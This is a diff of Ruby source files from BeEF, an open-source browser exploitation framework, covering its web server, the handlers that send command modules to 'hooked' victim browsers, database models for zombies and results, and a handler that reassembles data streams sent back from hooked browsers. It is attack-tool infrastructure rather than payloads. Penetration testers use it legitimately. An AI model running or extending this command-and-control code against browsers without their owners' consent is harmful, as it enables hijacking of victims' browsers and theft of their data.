hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
end
|
||||
|
||||
# populate place holders in the beefjs string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beefjs)
|
||||
@body << eruby.evaluate(hook_session_config)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Finds the path to js components
|
||||
#
|
||||
def find_beefjs_component_path(component)
|
||||
component_path = component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
return false if not File.exists? component_path
|
||||
|
||||
component_path
|
||||
end
|
||||
|
||||
#
|
||||
# Builds missing beefjs components.
|
||||
#
|
||||
# Ex: build_missing_beefjs_components(['beef.net.local', 'beef.net.requester'])
|
||||
#
|
||||
def build_missing_beefjs_components(beefjs_components)
|
||||
# verifies that @beef_js_cmps is not nil to avoid bugs
|
||||
@beef_js_cmps = '' if @beef_js_cmps.nil?
|
||||
|
||||
if beefjs_components.is_a? String
|
||||
beefjs_components_path = find_beefjs_component_path(beefjs_components)
|
||||
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
|
||||
beefjs_components = {beefjs_components => beefjs_components_path}
|
||||
end
|
||||
|
||||
beefjs_components.keys.each {|k|
|
||||
next if @beef_js_cmps.include? beefjs_components[k]
|
||||
|
||||
# path to the component
|
||||
component_path = beefjs_components[k]
|
||||
|
||||
# we output the component to the hooked browser
|
||||
@body << File.read(component_path)+"\n\n"
|
||||
|
||||
# finally we add the component to the list of components already generated so it does not
|
||||
# get generated numerous times.
|
||||
if @beef_js_cmps.eql? ''
|
||||
@beef_js_cmps = component_path
|
||||
else
|
||||
@beef_js_cmps += ",#{component_path}"
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
52
core/main/handlers/modules/command.rb
Normal file
52
core/main/handlers/modules/command.rb
Normal file
@@ -0,0 +1,52 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
|
||||
module Command
|
||||
|
||||
#
|
||||
# Adds the command module instructions to a hooked browser's http response.
|
||||
#
|
||||
def add_command_instructions(command, hooked_browser)
|
||||
|
||||
raise WEBrick::HTTPStatus::BadRequest, "hooked_browser is nil" if hooked_browser.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "hooked_browser.session is nil" if hooked_browser.session.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "hooked_browser is nil" if command.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "hooked_browser.command_module_id is nil" if command.command_module_id.nil?
|
||||
|
||||
# get the command module
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module.path is nil" if command_module.path.nil?
|
||||
|
||||
#klass = File.basename command_module.path, '.rb'
|
||||
klass = command_module.path.split('/').reverse[1]
|
||||
|
||||
command_module = BeEF::Core::Command.const_get(klass.capitalize).new
|
||||
command_module.command_id = command.id
|
||||
command_module.session_id = hooked_browser.session
|
||||
command_module.build_datastore(command.data)
|
||||
command_module.pre_send
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
|
||||
|
||||
@body << command_module.output + "\n\n"
|
||||
|
||||
# prints the event to the console
|
||||
if BeEF::Settings.console?
|
||||
name = command_module.friendlyname || kclass
|
||||
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
|
||||
end
|
||||
|
||||
# flag that the command has been sent to the hooked browser
|
||||
command.instructions_sent = true
|
||||
command.save
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
53
core/main/logger.rb
Normal file
53
core/main/logger.rb
Normal file
@@ -0,0 +1,53 @@
|
||||
module BeEF
|
||||
module Core
|
||||
#
|
||||
# This class takes care of logging events in the db.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# logger = BeEF::Core::Logger.instance
|
||||
# logger.register('Authentication', 'User with ip 127.0.0.1 has successfully authenticated into the application') # => true
|
||||
#
|
||||
# zombie_id = 1
|
||||
# logger.register('Zombie', '123.456.789.123 just joined the horde', zombie_id) # => true
|
||||
#
|
||||
class Logger
|
||||
|
||||
include Singleton
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize
|
||||
@logs = BeEF::Core::Models::Log
|
||||
end
|
||||
|
||||
#
|
||||
# Registers a new event in the logs
|
||||
#
|
||||
# @param: {String} the origine of the event (i.e. Authentication, Zombie)
|
||||
# @param: {String} the event description
|
||||
# @param: {Integer} the id of the hooked browser affected (default = 0 if no HB)
|
||||
#
|
||||
def register(from, event, zombie = 0)
|
||||
# type conversion to enforce standards
|
||||
zombie = zombie.to_i
|
||||
|
||||
# arguments type checking
|
||||
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
|
||||
raise Exception::TypeError, '"event" needs to be a string' if not event.string?
|
||||
raise Exception::TypeError, '"zombie" needs to be an integer' if not zombie.integer?
|
||||
|
||||
# logging the new event into the database
|
||||
@logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => zombie).save
|
||||
|
||||
# return
|
||||
true
|
||||
end
|
||||
|
||||
private
|
||||
@logs
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
54
core/main/migration.rb
Normal file
54
core/main/migration.rb
Normal file
@@ -0,0 +1,54 @@
|
||||
module BeEF
|
||||
module Core
|
||||
#
|
||||
# This class migrates and updates values in the database each time you restart BeEF.
|
||||
# So for example, when you want to add a new command module, you stop BeEF, copy your command module into the framework
|
||||
# and then restart BeEF. That class will take care of installing automatically the new command module in the db.
|
||||
#
|
||||
class Migration
|
||||
|
||||
include Singleton
|
||||
|
||||
#
|
||||
# Updates the database.
|
||||
#
|
||||
def update_db!
|
||||
update_commands!
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for new command modules and updates the database.
|
||||
#
|
||||
def update_commands!
|
||||
db_commands = [], folders = ''
|
||||
|
||||
BeEF::Core::Models::CommandModule.all.each {|db_command|
|
||||
db_commands.push(db_command.path)
|
||||
}
|
||||
|
||||
Dir.foreach("#{$root_dir}/modules/") do |folder|
|
||||
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/#{folder}"
|
||||
end
|
||||
|
||||
regex = /\/modules\/(#{folders})\/(.*).rb/i
|
||||
|
||||
Dir["#{$root_dir}/modules/**/*.rb"].each do |command|
|
||||
if (command = command.match(regex)[0])
|
||||
BeEF::Core::Models::CommandModule.new(:path => command, :name => /.*\/(\w+)\.rb/.match(command).to_a[1]).save if not db_commands.include? command
|
||||
end
|
||||
end
|
||||
|
||||
# We use the API to execute the migration code for each extensions that needs it.
|
||||
# For example, the metasploit extensions requires to add new commands into the database.
|
||||
BeEF::API::Migration.extended_in_modules.each do |mod|
|
||||
begin
|
||||
mod.migrate_commands!
|
||||
rescue Exception => e
|
||||
puts e.message
|
||||
puts e.backtrace
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
78
core/main/models/command.rb
Normal file
78
core/main/models/command.rb
Normal file
@@ -0,0 +1,78 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores the commands that have been sent to the Hooked Browsers.
|
||||
#
|
||||
# Attributes:
|
||||
#
|
||||
# - id
|
||||
# - data
|
||||
# - creationdate
|
||||
# - label
|
||||
# - instructions_sent
|
||||
# - command_module_id
|
||||
# - hooked_browser_id
|
||||
#
|
||||
class Command
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'commands'
|
||||
|
||||
property :id, Serial
|
||||
property :data, Text
|
||||
property :creationdate, String, :length => 15, :lazy => false
|
||||
property :label, Text, :lazy => false
|
||||
property :instructions_sent, Boolean, :default => false
|
||||
|
||||
has n, :results
|
||||
|
||||
#
|
||||
# Save results and flag that the command has been run on the hooked browser
|
||||
#
|
||||
# @param: {String} the session_id.
|
||||
# @param: {String} the command_id.
|
||||
# @param: {String} the command friendly name.
|
||||
# @param: {String} the result of the command module.
|
||||
#
|
||||
def self.save_result(hook_session_id, command_id, command_friendly_name, result)
|
||||
# enforcing arguments types
|
||||
command_id = command_id.to_i
|
||||
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"hook_session_id" needs to be a string' if not hook_session_id.string?
|
||||
raise Exception::TypeError, '"command_id" needs to be an integer' if not command_id.integer?
|
||||
raise Exception::TypeError, '"command_friendly_name" needs to be a string' if not command_friendly_name.string?
|
||||
raise Exception::TypeError, '"result" needs to be a hash' if not result.hash?
|
||||
|
||||
# get the hooked browser structure and id from the database
|
||||
zombie = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) || nil
|
||||
raise Exception::TypeError, "zombie is nil" if zombie.nil?
|
||||
raise Exception::TypeError, "zombie.id is nil" if zombie.id.nil?
|
||||
zombie_id = zombie.id
|
||||
raise Exception::TypeError, "zombie.ip is nil" if zombie.ip.nil?
|
||||
zombie_ip = zombie.ip
|
||||
|
||||
# get the command module data structure from the database
|
||||
command = first(:id => command_id.to_i, :hooked_browser_id => zombie_id) || nil
|
||||
raise Exception::TypeError, "command is nil" if command.nil?
|
||||
|
||||
# create the entry for the results
|
||||
command.results.new(:hooked_browser_id => zombie_id, :data => result.to_json, :date => Time.now.to_i)
|
||||
command.save
|
||||
|
||||
# log that the result was returned
|
||||
BeEF::Core::Logger.instance.register('Command', "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'", zombie_id)
|
||||
|
||||
# prints the event into the console
|
||||
if BeEF::Settings.console?
|
||||
print_info "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
22
core/main/models/commandmodule.rb
Normal file
22
core/main/models/commandmodule.rb
Normal file
@@ -0,0 +1,22 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
|
||||
class CommandModule
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core.command_modules'
|
||||
|
||||
property :id, Serial
|
||||
property :path, Text, :lazy => false
|
||||
property :name, Text, :lazy => false
|
||||
|
||||
has n, :commands
|
||||
has 1, :dynamic_command_info
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
21
core/main/models/dynamiccommandinfo.rb
Normal file
21
core/main/models/dynamiccommandinfo.rb
Normal file
@@ -0,0 +1,21 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
|
||||
class DynamicCommandInfo
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core.dynamic_command_info'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text, :lazy => false
|
||||
property :description, Text, :lazy => false
|
||||
property :targets, Text, :lazy => false
|
||||
belongs_to :command_module
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
23
core/main/models/dynamicpayloadinfo.rb
Normal file
23
core/main/models/dynamicpayloadinfo.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
|
||||
class DynamicPayloadInfo
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core.dynamic_payload_info'
|
||||
|
||||
property :id, Serial
|
||||
property :name, String, :length => 30
|
||||
property :value, String, :length => 255
|
||||
property :required, Boolean, :default => false
|
||||
property :description, Text, :lazy => false
|
||||
|
||||
belongs_to :dynamic_payloads
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
20
core/main/models/dynamicpayloads.rb
Normal file
20
core/main/models/dynamicpayloads.rb
Normal file
@@ -0,0 +1,20 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
|
||||
class DynamicPayloads
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core.dynamic_payloads'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text, :lazy => false
|
||||
|
||||
has n, :dynamic_payload_info
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
73
core/main/models/hookedbrowser.rb
Normal file
73
core/main/models/hookedbrowser.rb
Normal file
@@ -0,0 +1,73 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
#
|
||||
#
|
||||
class HookedBrowser
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core.hooked_browsers'
|
||||
|
||||
property :id, Serial
|
||||
property :session, Text, :lazy => false
|
||||
property :ip, Text, :lazy => false
|
||||
property :firstseen, String, :length => 15
|
||||
property :lastseen, String, :length => 15
|
||||
property :httpheaders, Text, :lazy => false
|
||||
property :domain, Text, :lazy => false # the domain originating the hook request
|
||||
property :count, Integer, :lazy => false
|
||||
property :has_init, Boolean, :default => false
|
||||
|
||||
has n, :commands
|
||||
has n, :results
|
||||
has n, :logs
|
||||
#has n, :https
|
||||
|
||||
#
|
||||
# Increases the count of a zombie
|
||||
#
|
||||
def count!
|
||||
if not self.count.nil? then self.count += 1; else self.count = 1; end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the browser type the
|
||||
# zombie is using (i.e. Firefox, Internet Explorer)
|
||||
#
|
||||
def browser_icon
|
||||
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
|
||||
|
||||
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_UNKNOWN_IMG if agent.nil?
|
||||
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_IE_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_IE_UA_STR
|
||||
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_FIREFOX_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_FIREFOX_UA_STR
|
||||
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_MOZILLA_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_MOZILLA_UA_STR
|
||||
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_SAFARI_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_SAFARI_UA_STR
|
||||
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_KONQ_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_KONQ_UA_STR
|
||||
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_CHROME_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_CHROME_UA_STR
|
||||
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_OPERA_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_OPERA_UA_STR
|
||||
|
||||
BeEF::Extension::AdminUI::Constants::Agents::AGENT_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the os type the
|
||||
# hooked browser is running (i.e. Windows, Linux)
|
||||
#
|
||||
def os_icon
|
||||
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
|
||||
|
||||
return BeEF::Core::Constants::Os::OS_UNKNOWN_IMG if agent.nil?
|
||||
return BeEF::Core::Constants::Os::OS_WINDOWS_IMG if agent.include? BeEF::Core::Constants::Os::OS_WINDOWS_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_LINUX_IMG if agent.include? BeEF::Core::Constants::Os::OS_LINUX_UA_STR
|
||||
return BeEF::Core::Constants::Os::OS_MAC_IMG if agent.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR
|
||||
|
||||
BeEF::Core::Constants::Os::OS_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
24
core/main/models/log.rb
Normal file
24
core/main/models/log.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# This table stores the logs from the framework.
|
||||
#
|
||||
# See BeEF::Core::Logger for how to log events.
|
||||
#
|
||||
class Log
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core.logs'
|
||||
|
||||
property :id, Serial
|
||||
property :type, Text, :lazy => false
|
||||
property :event, Text, :lazy => false
|
||||
property :date, DateTime, :lazy => false
|
||||
property :hooked_browser_id, Text, :lazy => false
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
19
core/main/models/optioncache.rb
Normal file
19
core/main/models/optioncache.rb
Normal file
@@ -0,0 +1,19 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
|
||||
class OptionCache
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core.option_cache'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text
|
||||
property :value, Text
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
21
core/main/models/result.rb
Normal file
21
core/main/models/result.rb
Normal file
@@ -0,0 +1,21 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores the results from commands.
|
||||
#
|
||||
class Result
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core.results'
|
||||
|
||||
property :id, Serial
|
||||
property :date, String, :length => 15, :lazy => false
|
||||
property :data, Text
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
30
core/main/models/user.rb
Normal file
30
core/main/models/user.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores the list of users that have authenticated into beef.
|
||||
#
|
||||
# TODO: move this table into the AdminUI extension folder.
|
||||
#
|
||||
class User
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension.admin_ui.users'
|
||||
|
||||
property :id, Serial
|
||||
property :session_id, String, :length => 255
|
||||
property :ip, Text
|
||||
|
||||
#
|
||||
# Checks if the user has been authenticated
|
||||
#
|
||||
def authenticated?
|
||||
true || false if not @ip.nil?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
21
core/main/network_stack/api.rb
Normal file
21
core/main/network_stack/api.rb
Normal file
@@ -0,0 +1,21 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module NetworkStack
|
||||
|
||||
module RegisterHttpHandler
|
||||
# use of the API right here
|
||||
extend BeEF::API::Server::Handler
|
||||
|
||||
#
|
||||
# Register the http handler for the network stack
|
||||
#
|
||||
def self.mount_handlers(beef_server)
|
||||
#dynamic handler
|
||||
beef_server.mount('/dh', true, BeEF::Core::NetworkStack::Handlers::DynamicReconstruction)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
80
core/main/network_stack/assethandler.rb
Normal file
80
core/main/network_stack/assethandler.rb
Normal file
@@ -0,0 +1,80 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
|
||||
#
|
||||
# Class defining BeEF assets
|
||||
#
|
||||
class AssetHandler
|
||||
|
||||
# call BeEF::Core::NetworkStack::Handlers::AssetHandler.instance
|
||||
include Singleton
|
||||
|
||||
attr_reader :allocations, :root_dir
|
||||
|
||||
def initialize
|
||||
@allocations = {}
|
||||
@http_server = BeEF::Core::Server.instance
|
||||
@root_dir = File.expand_path('../../../../', __FILE__)
|
||||
end
|
||||
|
||||
#
|
||||
# Binds a file to a mount point
|
||||
#
|
||||
def bind(file, path=nil, extension=nil, count=-1)
|
||||
url = buildURL(path, extension)
|
||||
@allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count}
|
||||
@http_server.mount(url, true, WEBrick::HTTPServlet::FileHandler, @allocations[url]['file'])
|
||||
print_info "File [" + "#{root_dir}"+file + "] binded to url [" + url + "]"
|
||||
return url
|
||||
end
|
||||
|
||||
#
|
||||
# Unbinds a file from a mount point
|
||||
#
|
||||
def unbind(url)
|
||||
@allocations.delete(url)
|
||||
@http_server.unmount(url, true)
|
||||
end
|
||||
|
||||
#
|
||||
# Builds a URL based on the path and extention, if neither are passed a random URL will be generated
|
||||
#
|
||||
def buildURL(path, extension, length=20)
|
||||
url = (path == nil) ? '/'+rand(36**length).to_s(36) : path;
|
||||
url += (extension == nil) ? '' : '.'+extension;
|
||||
return url
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the file is allocated, if the file isn't return true to pass onto FileHandler.
|
||||
#
|
||||
def check(url)
|
||||
if @allocations.has_key?(url)
|
||||
count = @allocations[url]['count']
|
||||
if count == -1
|
||||
return true
|
||||
end
|
||||
if count > 0
|
||||
if (count - 1) == 0
|
||||
unbind(url)
|
||||
else
|
||||
@allocations[url]['count'] = count - 1
|
||||
end
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
private
|
||||
@http_server
|
||||
@allocations
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
102
core/main/network_stack/handlers/dynamicreconstruction.rb
Normal file
102
core/main/network_stack/handlers/dynamicreconstruction.rb
Normal file
@@ -0,0 +1,102 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
|
||||
#DynamicHanlder is used reconstruct segmented traffic from the zombies
|
||||
|
||||
class DynamicReconstruction < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
#holds packet queue
|
||||
PQ = Array.new()
|
||||
|
||||
#obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
#Combines packet information and pushes to PQ, then checks packets
|
||||
def do_POST(request, response)
|
||||
@request = request
|
||||
response.body = ''
|
||||
PQ << {
|
||||
:beefhook => get_param(@request.query, 'bh'),
|
||||
:stream_id => Integer(get_param(@request.query, 'sid')),
|
||||
:packet_id => Integer(get_param(@request.query, 'pid')),
|
||||
:packet_count => Integer(get_param(@request.query, 'pc')),
|
||||
:data => get_param(@request.query, 'd')
|
||||
}
|
||||
check_packets()
|
||||
end
|
||||
|
||||
alias do_GET do_POST
|
||||
|
||||
#check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
|
||||
def check_packets()
|
||||
checked = Array.new()
|
||||
PQ.each do |packet|
|
||||
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
|
||||
next
|
||||
end
|
||||
checked << packet[:beefhook]+':'+String(packet[:stream_id])
|
||||
pc = 0
|
||||
PQ.each do |p|
|
||||
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
|
||||
pc += 1
|
||||
end
|
||||
end
|
||||
if (packet[:packet_count] == pc)
|
||||
packets = expunge(packet[:beefhook], packet[:stream_id])
|
||||
data = ''
|
||||
packets.each_with_index do |sp,i|
|
||||
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
|
||||
data += sp[:data]
|
||||
end
|
||||
end
|
||||
b64 = Base64.decode64(data)
|
||||
begin
|
||||
res = JSON.parse(b64).first
|
||||
res['beefhook'] = packet[:beefhook]
|
||||
res['request'] = @request
|
||||
res['beefsession'] = @request.get_hook_session_id()
|
||||
execute(res)
|
||||
rescue JSON::ParserError => e
|
||||
print_debug 'Network stack could not decode packet stream.'
|
||||
print_debug 'Dumping Stream Data [base64]: '+data
|
||||
print_debug 'Dumping Stream Data: '+b64
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#delete packets that have been reconstructed, return deleted packets
|
||||
def expunge(beefhook, stream_id)
|
||||
packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
return packets.sort_by { |p| p[:packet_id] }
|
||||
end
|
||||
|
||||
#execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
|
||||
def execute(data)
|
||||
handler = get_param(data, 'handler')
|
||||
if (MOUNTS.has_key?(handler))
|
||||
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
|
||||
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
|
||||
else
|
||||
MOUNTS[handler].new(data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#assist function for getting parameter from hash
|
||||
def get_param(query, key)
|
||||
return nil if query[key].nil?
|
||||
query[key]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
179
core/main/server.rb
Normal file
179
core/main/server.rb
Normal file
@@ -0,0 +1,179 @@
|
||||
module BeEF
|
||||
module Core
|
||||
#
|
||||
# Class defining the BeEF http server.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# server = BeEF::Core::Server.instance
|
||||
# server.prepare
|
||||
# server.start
|
||||
# ...
|
||||
# server.stop
|
||||
#
|
||||
class Server
|
||||
|
||||
include Singleton
|
||||
|
||||
# Grabs the version of beef the framework is deployed on
|
||||
VERSION = BeEF::Core::Configuration.instance.get('beef.version')
|
||||
|
||||
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||
@url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}"
|
||||
@root_dir = File.expand_path('../../../', __FILE__)
|
||||
@command_urls = {}
|
||||
@mounts = {}
|
||||
end
|
||||
|
||||
#
|
||||
# Returns all server variables in a hash. Useful for Erubis when
|
||||
# generating the javascript for the command modules and hooking.
|
||||
#
|
||||
def to_h
|
||||
{
|
||||
'beef_version' => VERSION,
|
||||
'beef_url' => @url,
|
||||
'beef_root_dir' => @root_dir,
|
||||
'beef_host' => BeEF::Core::Configuration.instance.get('beef.http.host'),
|
||||
'beef_port' => BeEF::Core::Configuration.instance.get('beef.http.port'),
|
||||
'beef_dns' => BeEF::Core::Configuration.instance.get('beef.http.dns'),
|
||||
'beef_hook' => BeEF::Core::Configuration.instance.get('beef.http.hook_file')
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def get_command_url(command_path)
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"command_path" needs to be a string' if not command_path.string?
|
||||
|
||||
if not @command_urls[command_path].nil?
|
||||
return @command_urls[command_path]
|
||||
else
|
||||
return command_path
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the BeEF http server.
|
||||
#
|
||||
def prepare
|
||||
if not @http_server
|
||||
config = {}
|
||||
config[:BindAddress] = @configuration.get('beef.http.host')
|
||||
config[:Port] = @configuration.get('beef.http.port')
|
||||
config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
|
||||
config[:ServerName] = "BeEF " + VERSION
|
||||
config[:ServerSoftware] = "BeEF " + VERSION
|
||||
|
||||
@http_server = WEBrick::HTTPServer.new(config)
|
||||
|
||||
# Create http handler for the javascript hook file
|
||||
mount("#{@configuration.get("beef.http.hook_file")}", true, BeEF::Core::Handlers::HookedBrowsers)
|
||||
|
||||
# Create http handlers for all commands in the framework
|
||||
Dir["#{root_dir}/modules/**/*.rb"].each { |command|
|
||||
#command_class = (File.basename command, '.rb').capitalize
|
||||
command_class = command.split('/').reverse[1]
|
||||
command_file = (File.basename command, '.rb')+'.js'
|
||||
mount("/command/#{command_file}", false, BeEF::Core::Handlers::Commands, command_class)
|
||||
}
|
||||
|
||||
#
|
||||
# We dynamically get the list of all http handler using the API and register them
|
||||
#
|
||||
BeEF::API.fire(BeEF::API::Server::Handler, :mount_handlers, self)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the BeEF http server
|
||||
#
|
||||
def start
|
||||
# we trap CTRL+C in the console and kill the server
|
||||
trap("INT") { BeEF::Core::Server.instance.stop }
|
||||
|
||||
# starts the web server
|
||||
@http_server.start
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the BeEF http server.
|
||||
#
|
||||
def stop
|
||||
if @http_server
|
||||
# shuts down the server
|
||||
@http_server.shutdown
|
||||
|
||||
# print goodbye message
|
||||
puts
|
||||
print_info 'BeEF server stopped'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Restarts the BeEF http server.
|
||||
#
|
||||
def restart; stop; start; end
|
||||
|
||||
#
|
||||
# Mounts a handler, can either be a hard or soft mount
|
||||
#
|
||||
# @param: {String} the url to mount
|
||||
# @param: {Boolean} set to true for a hard mount, false for a soft mount.
|
||||
# @param: {Class} class to call once mount is triggered
|
||||
# @param: {Various} arguments to pass to the http handler class
|
||||
#
|
||||
def mount(url, hard, http_handler_class, args = nil)
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
|
||||
raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean?
|
||||
raise Exception::TypeError, '"http_handler_class" needs to be a boolean' if not http_handler_class.class?
|
||||
|
||||
if hard
|
||||
if args == nil
|
||||
@http_server.mount url, http_handler_class
|
||||
else
|
||||
@http_server.mount url, http_handler_class, *args
|
||||
end
|
||||
else
|
||||
if args == nil
|
||||
mounts[url] = http_handler_class
|
||||
else
|
||||
mounts[url] = http_handler_class, *args
|
||||
end
|
||||
end
|
||||
end
|
